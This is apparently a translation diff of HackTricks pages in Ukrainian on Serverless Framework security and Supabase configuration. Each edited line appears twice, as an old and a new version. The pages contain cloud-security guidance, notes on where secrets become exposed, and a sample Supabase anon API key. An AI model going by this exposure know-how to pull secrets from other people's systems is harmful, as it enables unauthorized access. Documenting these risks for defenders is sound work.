**Організація** - це найвищий рівень сутності в екосистемі Serverless Framework. Вона представляє **колективну групу**, таку як компанія, відділ або будь-яка велика сутність, яка охоплює кілька проектів, команд і додатків.
|
||||
**Організація** є найвищим рівнем сутності в екосистемі Serverless Framework. Вона представляє **колективну групу**, таку як компанія, відділ або будь-яка велика сутність, яка охоплює кілька проектів, команд і додатків.
|
||||
|
||||
### Team
|
||||
### Команда
|
||||
|
||||
**Команда** - це користувачі з доступом всередині організації. Команди допомагають організувати учасників на основі ролей. **`Співпрацівники`** можуть переглядати та розгортати існуючі додатки, тоді як **`Адміністратори`** можуть створювати нові додатки та керувати налаштуваннями організації.
|
||||
|
||||
### Application
|
||||
### Додаток
|
||||
|
||||
**Додаток** - це логічна група пов'язаних сервісів в організації. Він представляє собою повний додаток, що складається з кількох безсерверних сервісів, які працюють разом для забезпечення єдиної функціональності.
|
||||
|
||||
### **Services**
|
||||
### **Сервіси**
|
||||
|
||||
**Сервіс** - це основний компонент безсерверного додатку. Він представляє ваш весь безсерверний проект, інкапсулюючи всі функції, конфігурації та ресурси, які потрібні. Зазвичай він визначається у файлі `serverless.yml`, сервіс включає метадані, такі як назва сервісу, конфігурації постачальника, функції, події, ресурси, плагіни та користувацькі змінні.
|
||||
**Сервіс** є основним компонентом безсерверного додатку. Він представляє ваш весь безсерверний проект, інкапсулюючи всі функції, конфігурації та ресурси, які потрібні. Зазвичай він визначається у файлі `serverless.yml`, сервіс включає метадані, такі як назва сервісу, конфігурації постачальника, функції, події, ресурси, плагіни та користувацькі змінні.
|
||||
```yaml
|
||||
service: my-service
|
||||
provider:
|
||||
@@ -72,7 +72,7 @@ rate: rate(10 minutes)
|
||||
|
||||
**Ресурси** дозволяють вам визначити додаткові хмарні ресурси, від яких залежить ваша служба, такі як бази даних, сховища або ролі IAM.
|
||||
|
||||
Вони вказуються в секції `resources`, часто використовуючи синтаксис CloudFormation для AWS.
|
||||
Вони вказуються в розділі `resources`, часто використовуючи синтаксис CloudFormation для AWS.
|
||||
```yaml
|
||||
resources:
|
||||
Resources:
|
||||
@@ -117,7 +117,7 @@ stage: dev
|
||||
provider:
|
||||
stage: dev
|
||||
```
|
||||
Регіон вказує географічний регіон, де будуть розгорнуті ваші ресурси. Це важливо для затримки, відповідності та доступності.
|
||||
Регіон вказує географічний регіон, де будуть розгорнуті ваші ресурси. Це важливо для розгляду затримки, відповідності та доступності.
|
||||
```yaml
|
||||
provider:
|
||||
region: us-west-2
|
||||
@@ -140,7 +140,7 @@ plugins:
|
||||
|
||||
<summary>Шари</summary>
|
||||
|
||||
**Шари** дозволяють вам упакувати та керувати спільним кодом або залежностями окремо від ваших функцій. Це сприяє повторному використанню та зменшує розміри пакетів розгортання. Вони визначаються в секції `layers` і посилаються на функції.
|
||||
**Шари** дозволяють вам упакувати та керувати спільним кодом або залежностями окремо від ваших функцій. Це сприяє повторному використанню та зменшує розміри пакетів розгортання. Вони визначені в секції `layers` і посилаються на функції.
|
||||
```yaml
|
||||
layers:
|
||||
commonLibs:
|
||||
@@ -202,9 +202,9 @@ Fn::Join:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>IAM Ролі та Дозволи</summary>
|
||||
<summary>Ролі та дозволи IAM</summary>
|
||||
|
||||
**IAM Ролі та Дозволи** визначають безпекові облікові дані та права доступу для ваших функцій та інших ресурсів. Вони керуються під `provider` або налаштуваннями окремих функцій для визначення необхідних дозволів.
|
||||
**Ролі та дозволи IAM** визначають облікові дані безпеки та права доступу для ваших функцій та інших ресурсів. Вони керуються в рамках налаштувань `provider` або окремих функцій для визначення необхідних дозволів.
|
||||
```yaml
|
||||
provider:
|
||||
[...]
|
||||
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
|
||||
|
||||
<summary>Змінні середовища</summary>
|
||||
|
||||
**Змінні** дозволяють передавати налаштування конфігурації та секрети вашим функціям без їх жорсткого кодування. Вони визначаються в секції `environment` для постачальника або окремих функцій.
|
||||
**Змінні** дозволяють передавати налаштування конфігурації та секрети вашим функціям без їх жорсткого кодування. Вони визначені в секції `environment` для постачальника або окремих функцій.
|
||||
```yaml
|
||||
provider:
|
||||
environment:
|
||||
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
|
||||
## Create A New App
|
||||
## Indicate a name like "tutorialapp)
|
||||
```
|
||||
Це повинно було створити **app** під назвою `tutorialapp`, який ви можете перевірити на [serverless.com](serverless.com-security.md), і папку під назвою `Tutorial` з файлом **`handler.js`**, що містить деякий JS код з кодом `helloworld`, та файлом **`serverless.yml`**, що оголошує цю функцію:
|
||||
Це повинно було створити **додаток** під назвою `tutorialapp`, який ви можете перевірити на [serverless.com](serverless.com-security.md), а також папку під назвою `Tutorial` з файлом **`handler.js`**, що містить деякий JS код з кодом `helloworld`, і файлом **`serverless.yml`**, що оголошує цю функцію:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="handler.js" }}
|
||||
@@ -323,7 +323,7 @@ method: get
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
4. Створіть постачальника AWS, перейшовши в **панель управління** за адресою `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
4. Створіть постачальника AWS, перейшовши в **dashboard** за адресою `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
|
||||
1. Щоб надати `serverless.com` доступ до AWS, буде запропоновано запустити стек cloudformation, використовуючи цей конфігураційний файл (на момент написання): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
|
||||
2. Цей шаблон генерує роль під назвою **`SFRole-<ID>`** з **`arn:aws:iam::aws:policy/AdministratorAccess`** для облікового запису з довірчою ідентичністю, яка дозволяє обліковому запису `Serverless.com` AWS отримати доступ до ролі.
|
||||
|
||||
@@ -399,7 +399,7 @@ Type: String
|
||||
```
|
||||
</details>
|
||||
|
||||
5. У навчальному посібнику пропонується створити файл `createCustomer.js`, який в основному створить нову точку доступу API, оброблену новим JS файлом, і пропонується змінити файл `serverless.yml`, щоб він генерував **нову таблицю DynamoDB**, визначав **змінну середовища**, роль, яка буде використовувати згенеровані лямбди.
|
||||
5. У посібнику пропонується створити файл `createCustomer.js`, який в основному створить нову точку доступу API, оброблювану новим JS файлом, і пропонується змінити файл `serverless.yml`, щоб він генерував **нову таблицю DynamoDB**, визначив **змінну середовища**, роль, яка буде використовувати згенеровані lambdas.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="createCustomer.js" }}
|
||||
@@ -485,7 +485,7 @@ TableName: ${self:service}-customerTable-${sls:stage}
|
||||
1. Розгортання буде виконано через CloudFormation Stack
|
||||
2. Зверніть увагу, що **lambdas доступні через API gateway** і не через прямі URL
|
||||
7. **Протестуйте це**
|
||||
1. Попередній крок виведе **URLs**, де ваші API endpoints lambda функції були розгорнуті
|
||||
1. Попередній крок виведе **URLs**, де ваші функції lambda API endpoints були розгорнуті
|
||||
|
||||
## Огляд безпеки Serverless.com
|
||||
|
||||
@@ -553,10 +553,10 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
|
||||
|
||||
Зберігання чутливої інформації (наприклад, API ключів, облікових даних бази даних) безпосередньо в **`serverless.yml`** або коді може призвести до витоку, якщо репозиторії будуть скомпрометовані.
|
||||
|
||||
**Рекомендований** спосіб зберігання змінних середовища у файлі **`serverless.yml`** від serverless.com (на момент написання цього тексту) - це використання постачальників `ssm` або `s3`, які дозволяють отримувати **значення середовища з цих джерел під час розгортання** та **конфігурувати** змінні середовища **lambdas** з **текстом без значень**!
|
||||
**Рекомендований** спосіб зберігання змінних середовища у файлі **`serverless.yml`** з serverless.com (на момент написання цього матеріалу) - використовувати постачальників `ssm` або `s3`, що дозволяє отримувати **значення середовища з цих джерел під час розгортання** та **конфігурувати** змінні середовища **lambdas** з **текстом без значень**!
|
||||
|
||||
> [!CAUTION]
|
||||
> Тому будь-хто з дозволами на читання конфігурації lambdas в AWS зможе **отримати доступ до всіх цих змінних середовища у відкритому тексті!**
|
||||
> Тому будь-хто з дозволами на читання конфігурації lambdas всередині AWS зможе **отримати доступ до всіх цих змінних середовища у відкритому тексті!**
|
||||
|
||||
Наприклад, наступний приклад використовуватиме SSM для отримання змінної середовища:
|
||||
```yaml
|
||||
@@ -564,26 +564,26 @@ provider:
|
||||
environment:
|
||||
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
|
||||
```
|
||||
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **додано у відкритому тексті всередині змінної середовища lambda**.
|
||||
І навіть якщо це запобігає жорсткому кодуванню значення змінної середовища у файлі **`serverless.yml`**, значення буде отримано під час розгортання і буде **додано у відкритому тексті всередині змінної середовища lambda**.
|
||||
|
||||
> [!TIP]
|
||||
> The recommended way to store environment variables using serveless.com would be to **зберігати його в AWS secret** and just store the secret name in the environment variable and the **код lambda повинен його зібрати**.
|
||||
> Рекомендований спосіб зберігання змінних середовища за допомогою serveless.com - це **зберігати їх у секреті AWS** і просто зберігати ім'я секрету у змінній середовища, а **код lambda повинен його зібрати**.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
|
||||
- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
|
||||
- **Access Controls:** Restrict access to secrets based on roles.
|
||||
- **Інтеграція з Secrets Manager:** Використовуйте сервіси, такі як **AWS Secrets Manager.**
|
||||
- **Зашифровані змінні:** Використовуйте функції шифрування Serverless Framework для чутливих даних.
|
||||
- **Контроль доступу:** Обмежте доступ до секретів на основі ролей.
|
||||
|
||||
---
|
||||
|
||||
### **Vulnerable Code and Dependencies**
|
||||
### **Вразливий код і залежності**
|
||||
|
||||
Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
|
||||
Застарілі або небезпечні залежності можуть вводити вразливості, тоді як неналежна обробка введення може призвести до атак ін'єкції коду.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
|
||||
- **Управління залежностями:** Регулярно оновлюйте залежності та скануйте на вразливості.
|
||||
|
||||
```yaml
|
||||
plugins:
|
||||
@@ -591,38 +591,38 @@ plugins:
|
||||
- serverless-plugin-snyk
|
||||
```
|
||||
|
||||
- **Input Validation:** Implement strict validation and sanitization of all inputs.
|
||||
- **Code Reviews:** Conduct thorough reviews to identify security flaws.
|
||||
- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
|
||||
- **Валідація введення:** Реалізуйте сувору валідацію та санітизацію всіх введень.
|
||||
- **Огляди коду:** Проводьте ретельні огляди для виявлення недоліків безпеки.
|
||||
- **Статичний аналіз:** Використовуйте інструменти для виявлення вразливостей у кодовій базі.
|
||||
|
||||
---
|
||||
|
||||
### **Inadequate Logging and Monitoring**
|
||||
### **Недостатнє ведення журналів і моніторинг**
|
||||
|
||||
Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
|
||||
Без належного ведення журналів і моніторингу злочинні дії можуть залишитися непоміченими, затримуючи реагування на інциденти.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
|
||||
- **Централізоване ведення журналів:** Агрегуйте журнали, використовуючи сервіси, такі як **AWS CloudWatch** або **Datadog**.
|
||||
|
||||
```yaml
|
||||
plugins:
|
||||
- serverless-plugin-datadog
|
||||
```
|
||||
|
||||
- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
|
||||
- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
|
||||
- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
|
||||
- **Увімкніть детальне ведення журналів:** Захоплюйте важливу інформацію, не розкриваючи чутливі дані.
|
||||
- **Налаштуйте сповіщення:** Налаштуйте сповіщення для підозрілих дій або аномалій.
|
||||
- **Регулярний моніторинг:** Постійно моніторте журнали та метрики на предмет потенційних інцидентів безпеки.
|
||||
|
||||
---
|
||||
|
||||
### **Insecure API Gateway Configurations**
|
||||
### **Небезпечні конфігурації API Gateway**
|
||||
|
||||
Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
|
||||
Відкриті або неналежно захищені API можуть бути використані для несанкціонованого доступу, атак відмови в обслуговуванні (DoS) або атак між сайтами.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
|
||||
- **Аутентифікація та авторизація:** Реалізуйте надійні механізми, такі як OAuth, API ключі або JWT.
|
||||
|
||||
```yaml
|
||||
functions:
|
||||
@@ -635,7 +635,7 @@ method: get
|
||||
authorizer: aws_iam
|
||||
```
|
||||
|
||||
- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
|
||||
- **Обмеження швидкості та обмеження запитів:** Запобігайте зловживанням, обмежуючи швидкість запитів.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -645,7 +645,7 @@ burstLimit: 200
|
||||
rateLimit: 100
|
||||
```
|
||||
|
||||
- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
|
||||
- **Безпечна конфігурація CORS:** Обмежте дозволені джерела, методи та заголовки.
|
||||
|
||||
```yaml
|
||||
functions:
|
||||
@@ -661,19 +661,19 @@ headers:
|
||||
- Content-Type
|
||||
```
|
||||
|
||||
- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
|
||||
- **Використовуйте веб-додатки брандмауерів (WAF):** Фільтруйте та моніторте HTTP запити на наявність шкідливих шаблонів.
|
||||
|
||||
---
|
||||
|
||||
### **Insufficient Function Isolation**
|
||||
### **Недостатня ізоляція функцій**
|
||||
|
||||
Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
|
||||
Спільні ресурси та недостатня ізоляція можуть призвести до ескалації привілеїв або ненавмисних взаємодій між функціями.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
|
||||
- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
|
||||
- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
|
||||
- **Ізолюйте функції:** Призначте окремі ресурси та ролі IAM для забезпечення незалежної роботи.
|
||||
- **Розподіл ресурсів:** Використовуйте окремі бази даних або сховища для різних функцій.
|
||||
- **Використовуйте VPC:** Розгорніть функції в межах віртуальних приватних хмар для покращеної мережевої ізоляції.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -684,17 +684,17 @@ subnetIds:
|
||||
- subnet-xxxxxx
|
||||
```
|
||||
|
||||
- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
|
||||
- **Обмежте дозволи функцій:** Переконайтеся, що функції не можуть отримати доступ або заважати ресурсам один одного, якщо це не є явно необхідним.
|
||||
|
||||
---
|
||||
|
||||
### **Inadequate Data Protection**
|
||||
### **Недостатній захист даних**
|
||||
|
||||
Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
|
||||
Незашифровані дані в спокої або в процесі передачі можуть бути розкриті, що призводить до витоків даних або підробки.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Encrypt Data at Rest:** Utilize cloud service encryption features.
|
||||
- **Шифруйте дані в спокої:** Використовуйте функції шифрування хмарних сервісів.
|
||||
|
||||
```yaml
|
||||
resources:
|
||||
@@ -706,107 +706,107 @@ SSESpecification:
|
||||
SSEEnabled: true
|
||||
```
|
||||
|
||||
- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
|
||||
- **Secure API Communication:** Enforce encryption protocols and validate certificates.
|
||||
- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
|
||||
- **Шифруйте дані в процесі передачі:** Використовуйте HTTPS/TLS для всіх передач даних.
|
||||
- **Забезпечте безпечну комунікацію API:** Вимагайте шифрувальні протоколи та перевіряйте сертифікати.
|
||||
- **Безпечно управляйте ключами шифрування:** Використовуйте керовані сервіси ключів і регулярно змінюйте ключі.
|
||||
|
||||
---
|
||||
|
||||
### **Lack of Proper Error Handling**
|
||||
### **Відсутність належної обробки помилок**
|
||||
|
||||
Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
|
||||
Детальні повідомлення про помилки можуть розкрити чутливу інформацію про інфраструктуру або кодову базу, тоді як необроблені виключення можуть призвести до збоїв у додатку.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Generic Error Messages:** Avoid exposing internal details in error responses.
|
||||
- **Загальні повідомлення про помилки:** Уникайте розкриття внутрішніх деталей у відповідях на помилки.
|
||||
|
||||
```javascript
|
||||
javascriptCopy code// Example in Node.js
|
||||
javascriptCopy code// Приклад у Node.js
|
||||
exports.hello = async (event) => {
|
||||
try {
|
||||
// Function logic
|
||||
// Логіка функції
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
return {
|
||||
statusCode: 500,
|
||||
body: JSON.stringify({ message: 'Internal Server Error' }),
|
||||
body: JSON.stringify({ message: 'Внутрішня помилка сервера' }),
|
||||
};
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
|
||||
- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
|
||||
- **Централізована обробка помилок:** Керування та санітизація помилок послідовно по всіх функціях.
|
||||
- **Моніторинг і ведення журналів помилок:** Відстежуйте та аналізуйте помилки внутрішньо, не розкриваючи деталей кінцевим користувачам.
|
||||
|
||||
---
|
||||
|
||||
### **Insecure Deployment Practices**
|
||||
### **Небезпечні практики розгортання**
|
||||
|
||||
Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
|
||||
Відкриті конфігурації розгортання або несанкціонований доступ до CI/CD конвеєрів можуть призвести до розгортання шкідливого коду або неправильних налаштувань.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
|
||||
- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
|
||||
- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
|
||||
- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
|
||||
- **Забезпечте CI/CD конвеєри:** Реалізуйте суворі контролі доступу, багатофакторну аутентифікацію (MFA) та регулярні аудити.
|
||||
- **Зберігайте конфігурацію безпечно:** Тримайте файли розгортання без жорстко закодованих секретів і чутливих даних.
|
||||
- **Використовуйте інструменти безпеки інфраструктури як коду (IaC):** Використовуйте інструменти, такі як **Checkov** або **Terraform Sentinel**, для забезпечення політик безпеки.
|
||||
- **Незмінні розгортання:** Запобігайте несанкціонованим змінам після розгортання, приймаючи практики незмінної інфраструктури.
|
||||
|
||||
---
|
||||
|
||||
### **Vulnerabilities in Plugins and Extensions**
|
||||
### **Вразливості в плагінах і розширеннях**
|
||||
|
||||
Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
|
||||
Використання неперевірених або шкідливих сторонніх плагінів може ввести вразливості у ваші безсерверні додатки.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
|
||||
- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
|
||||
- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
|
||||
- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
|
||||
- **Ретельно перевіряйте плагіни:** Оцінюйте безпеку плагінів перед інтеграцією, віддаючи перевагу тим, що з надійних джерел.
|
||||
- **Обмежте використання плагінів:** Використовуйте лише необхідні плагіни, щоб зменшити поверхню атаки.
|
||||
- **Моніторте оновлення плагінів:** Тримайте плагіни оновленими, щоб скористатися патчами безпеки.
|
||||
- **Ізолюйте середовища плагінів:** Запускайте плагіни в ізольованих середовищах, щоб обмежити потенційні компрометації.
|
||||
|
||||
---
|
||||
|
||||
### **Exposure of Sensitive Endpoints**
|
||||
### **Витік чутливих кінцевих точок**
|
||||
|
||||
Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
|
||||
Публічно доступні функції або необмежені API можуть бути використані для несанкціонованих операцій.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
|
||||
- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
|
||||
- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
|
||||
- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
|
||||
- **Обмежте доступ до функцій:** Використовуйте VPC, групи безпеки та правила брандмауера для обмеження доступу до надійних джерел.
|
||||
- **Реалізуйте надійну аутентифікацію:** Переконайтеся, що всі відкриті кінцеві точки вимагають належної аутентифікації та авторизації.
|
||||
- **Використовуйте API Gateway безпечно:** Налаштуйте API Gateway для забезпечення політик безпеки, включаючи валідацію введення та обмеження швидкості.
|
||||
- **Вимкніть невикористовувані кінцеві точки:** Регулярно переглядайте та вимикайте будь-які кінцеві точки, які більше не використовуються.
|
||||
|
||||
---
|
||||
|
||||
### **Excessive Permissions for Team Members and External Collaborators**
|
||||
### **Надмірні дозволи для членів команди та зовнішніх співробітників**
|
||||
|
||||
Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
|
||||
Надання надмірних дозволів членам команди та зовнішнім співробітникам може призвести до несанкціонованого доступу, витоків даних і зловживання ресурсами. Цей ризик посилюється в середовищах, де кілька осіб мають різні рівні доступу, що збільшує поверхню атаки та потенціал внутрішніх загроз.
|
||||
|
||||
#### **Mitigation Strategies**
|
||||
#### **Стратегії пом'якшення**
|
||||
|
||||
- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
|
||||
- **Принцип найменшого привілею:** Переконайтеся, що члени команди та співробітники мають лише ті дозволи, які необхідні для виконання їхніх завдань.
|
||||
|
||||
---
|
||||
|
||||
### **Access Keys and License Keys Security**
|
||||
### **Безпека ключів доступу та ліцензійних ключів**
|
||||
|
||||
**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
|
||||
**Ключі доступу** та **ліцензійні ключі** є критично важливими обліковими даними, які використовуються для аутентифікації та авторизації взаємодій з CLI Serverless Framework.
|
||||
|
||||
- **License Keys:** Вони є унікальними ідентифікаторами, необхідними для аутентифікації доступу до Serverless Framework Version 4, що дозволяє входити через CLI.
|
||||
- **Access Keys:** Облікові дані, які дозволяють CLI Serverless Framework аутентифікуватися з панеллю управління Serverless Framework. Коли ви входите за допомогою `serverless` cli, ключ доступу буде **згенеровано та збережено на ноутбуці**. Ви також можете встановити його як змінну середовища з назвою `SERVERLESS_ACCESS_KEY`.
|
||||
- **Ліцензійні ключі:** Це унікальні ідентифікатори, необхідні для аутентифікації доступу до Serverless Framework версії 4, які дозволяють входити через CLI.
|
||||
- **Ключі доступу:** Облікові дані, які дозволяють CLI Serverless Framework аутентифікуватися з панеллю управління Serverless Framework. Коли ви входите за допомогою `serverless` cli, ключ доступу буде **згенеровано та збережено на ноутбуці**. Ви також можете встановити його як змінну середовища з ім'ям `SERVERLESS_ACCESS_KEY`.
|
||||
|
||||
#### **Security Risks**
|
||||
#### **Ризики безпеки**
|
||||
|
||||
1. **Exposure Through Code Repositories:**
|
||||
- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
|
||||
2. **Insecure Storage:**
|
||||
- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
|
||||
3. **Improper Distribution:**
|
||||
- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
|
||||
4. **Lack of Rotation:**
|
||||
- Not regularly rotating keys extends the exposure period if keys are compromised.
|
||||
5. **Excessive Permissions:**
|
||||
- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
|
||||
1. **Витік через репозиторії коду:**
|
||||
- Жорстке кодування або випадкове комітування ключів доступу та ліцензійних ключів у системи контролю версій може призвести до несанкціонованого доступу.
|
||||
2. **Небезпечне зберігання:**
|
||||
- Зберігання ключів у відкритому тексті в змінних середовища або конфігураційних файлах без належного шифрування підвищує ймовірність витоку.
|
||||
3. **Неправильне розповсюдження:**
|
||||
- Обмін ключами через незахищені канали (наприклад, електронна пошта, чат) може призвести до перехоплення зловмисниками.
|
||||
4. **Відсутність ротації:**
|
||||
- Нерегулярна ротація ключів подовжує період експозиції, якщо ключі скомпрометовані.
|
||||
5. **Надмірні дозволи:**
|
||||
- Ключі з широкими дозволами можуть бути використані для виконання несанкціонованих дій на кількох ресурсах.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Згідно з їх [**ліндінгом**](https://supabase.com/): Supabase - це відкритий аналог Firebase. Розпочніть свій проект з бази даних Postgres, аутентифікації, миттєвих API, Edge Functions, підписок в реальному часі, зберігання та векторних вбудовувань.
|
||||
Згідно з їх [**цільовою сторінкою**](https://supabase.com/): Supabase є відкритим джерелом альтернативою Firebase. Розпочніть свій проект з бази даних Postgres, аутентифікації, миттєвих API, Edge Functions, підписок в реальному часі, зберігання та векторних вбудовувань.
|
||||
|
||||
### Subdomain
|
||||
### Піддомен
|
||||
|
||||
В основному, коли проект створюється, користувач отримує піддомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
В основному, коли створюється проект, користувач отримає піддомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Database configuration**
|
||||
## **Конфігурація бази даних**
|
||||
|
||||
> [!TIP]
|
||||
> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **Ці дані можна отримати за посиланням, наприклад `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Ця **база даних** буде розгорнута в певному регіоні AWS, і для підключення до неї можна використовувати: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (це було створено в us-west-1).\
|
||||
Пароль - це **пароль, який користувач ввів** раніше.
|
||||
@@ -28,18 +28,18 @@
|
||||
- Налаштування розміру диска
|
||||
- Застосування мережевих обмежень і заборон
|
||||
|
||||
## API Configuration
|
||||
## Конфігурація API
|
||||
|
||||
> [!TIP]
|
||||
> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **Ці дані можна отримати за посиланням, наприклад `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
URL для доступу до API supabase у вашому проекті буде виглядати так: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
### анонімні API ключі
|
||||
|
||||
Він також згенерує **anon API key** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосування повинно використовувати для зв'язку з API, ключ якого був відкритий у нашому прикладі.
|
||||
Він також згенерує **анонімний API ключ** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосування повинно використовувати для контакту з API ключем, що був відкритий у нашому прикладі.
|
||||
|
||||
Можна знайти API REST для зв'язку з цим API в [**документації**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), але найцікавіші кінцеві точки будуть:
|
||||
Можна знайти API REST для контакту з цим API в [**документації**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), але найцікавіші кінцеві точки будуть:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -109,7 +109,7 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp
|
||||
|
||||
### JWT Secret
|
||||
|
||||
